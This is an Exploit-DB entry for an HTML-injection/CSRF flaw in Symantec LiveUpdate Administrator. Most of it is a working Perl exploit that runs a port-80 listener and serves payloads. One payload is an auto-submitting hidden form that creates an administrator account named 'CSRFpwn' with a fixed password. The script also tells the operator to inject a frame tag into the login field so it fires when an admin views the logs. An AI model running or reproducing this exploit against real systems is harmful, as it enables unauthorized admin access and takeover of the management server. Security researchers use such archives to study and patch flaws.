Exploit-DB #17026
Description: Symantec LiveUpdate Administrator Management GUI - HTML Injection
Type: webapps
Platform: windows
Date: 2011-03-23
Author: Nikolas Sotiriu

Exploit:
source: https://www.securityfocus.com/bid/46856/info

Symantec LiveUpdate Administrator is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.


#!/usr/bin/perl

##
#  Title:     Symantec Live Update Administrator CSRF Exploit
#  Name:      luaCSRF.pl
#  Author:    Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#
#  Use it only for education or ethical pentesting! The author accepts
#  no liability for damage caused by this tool.
#
##


use Socket;
use IO::Handle;
use Getopt::Std;

my %args;
getopt('g:h:', \%args);

my $payload     = $args{g} || usage();
my $victim      = $args{h} || usage();

banner();

if ($payload eq "1") {
        print "[+] Using the Alert Box payload\n";
        # Alert Box
        $html = <<ENDHTML;
<html>
<SCRIPT LANGUAGE="JavaScript">alert('!!!XSS/CSRF vulnerability!!!')</SCRIPT>
</html>

ENDHTML

} elsif ($payload eq "2") {
        print "[+] Using the add admin user payload\n";
        # Adds the user CSRFpwn with password 12345678
        $html = <<ENDHTML;
<html>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://$victim:7070/lua/adduser.do" method="post">
                <input type="hidden" name="dispatch" value="save" />
                <input type="hidden" name="username" value="CSRFpwn" />
                <input type="hidden" name="password" value="12345678"/>
                <input type="hidden" name="verifyPassword" value="12345678"/>
                <input type="hidden" name="lastname" value="junk" />
                <input type="hidden" name="firstname" value="junk" />
                <input type="hidden" name="email" value="junk&#64;junk.com" />
                <input type="hidden" name="userRole" value="1" />
            </form>
        </body>
</html>

ENDHTML

}

my $protocol = getprotobyname('tcp');

socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die "[-] socket() failed: $!";
setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die "[-] Can't set SO_REUSEADDR: $!";
my $my_addr = sockaddr_in(80,INADDR_ANY);
bind(SOCK,$my_addr) or die "[-] bind() failed: $!";
listen(SOCK,SOMAXCONN) or die "[-] listen() failed: $!";
warn "[+] waiting for incoming connections on port 80...\n";
warn "[+] Enter the following String in the LUA username login field\n";
warn "[+] (e.q. HTTP/SSH) and wair for the admin to view the Logs\n";
warn "[+]\n";
warn "[+] <frame src=http://<LOCAL_ADDRESS>/.html>\n";

$repeat = 1;
$victim = inet_aton("0.0.0.0");
while($repeat) {
    my $remote_addr = accept(SESSION,SOCK);
    my ($port,$hisaddr) = sockaddr_in($remote_addr);
    warn "[+] Connection from [",inet_ntoa($hisaddr),",$port]\n";
    $victim = $hisaddr;
    SESSION->autoflush(1);
    if(<SESSION>) {
       print SESSION $http_header . $html;
    }
    warn "[+] Connection from [",inet_ntoa($hisaddr),",$port] finished\n";
    close SESSION;
}

sub usage {
print $payload;
    print "\n";
    print " luaCSRF.pl - Symantec LUA CSRF Exploit\n";
    print "===============================================================\n\n";
    print "  Usage:\n";
    print "           $0 -g <payload> -h <lua-ip>\n";
    print "  Optional:\n";
    print "           -p       <local port to listen on>\n";
    print "           -g (1|2) <payload to use>\n";
    print "                    1 <Execute an alert box\n";
    print "                    2 <Add the Admin User \"CSRFpwn\">\n";
    print "  Notes:\n";
    print "           -nothing here\n";
    print "\n";
    print "  Author:\n";
    print "           Nikolas Sotiriu (lofi)\n";
    print "           url: www.sotiriu.de\n";
    print "           mail: lofi[at]sotiriu.de\n";
    print "\n";


    exit(1);
}

sub banner {
        print STDERR << "EOF";
--------------------------------------------------------------------------------
               luaCSRF.pl - Symantec LUA CSRF Exploit
--------------------------------------------------------------------------------

                                  [PII_REDACTED]
                            1[PII_REDACTED][PII_REDACTED]
                        11101 11 10[PII_REDACTED]111111
                    1101  11 00 10 11  1[PII_REDACTED]101
                 10111 1 10 11 10  0 10  1 1 1 [PII_REDACTED]
              1111  1 1 10  0  01 01 01 1 1 111    [PII_REDACTED]
            1000   0 11 10 10  0 10 11 111 11111 11 1111 111100
         [PII_REDACTED] 01 10 10 11 01 0  1[PII_REDACTED]1 1 1111  11
         10111110 0  01 00 11 1110 11 10[PII_REDACTED]1 11 11111  11   111
        101111111 0 10  01 11 1 11 0 10 11 [PII_REDACTED][PII_REDACTED]111
       [PII_REDACTED] 10 10  0 11 1 11 01 0[PII_REDACTED]11111 [PII_REDACTED]1
       [PII_REDACTED] 10 11 1110 11 1 10[PII_REDACTED][PII_REDACTED]  1 100  001
       1011111 0 10 10 01 1  0 1 11 [PII_REDACTED][PII_REDACTED]111 001101
        011111 0  0  0 11 0 1111 0 1[PII_REDACTED][PII_REDACTED]11111  01
       1111111 01 01 111  1 1111 1 1[PII_REDACTED][PII_REDACTED]1 1101 1111
      111 1111 10  0[PII_REDACTED] 0 1 [PII_REDACTED][PII_REDACTED]1 11111 1111
     111 11111  1  11 1 1 1    111 1[PII_REDACTED][PII_REDACTED]11110    1001
   [PII_REDACTED]   [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED] 01 10111001
   11 1100    10110110    10001       [PII_REDACTED][PII_REDACTED]  10 111 11100
  111  00      1011101      00101       0 [PII_REDACTED][PII_REDACTED] 11  111101
  11  00        00 101      1000011     1011   1111  [PII_REDACTED] 1111111 0
  11 00          0   1011      100001    101000 1 1001         00001111  01
  01101          11111 1011               01100    0101          110  11 10
  10111                   1                0  01    0000011         10    10
   10011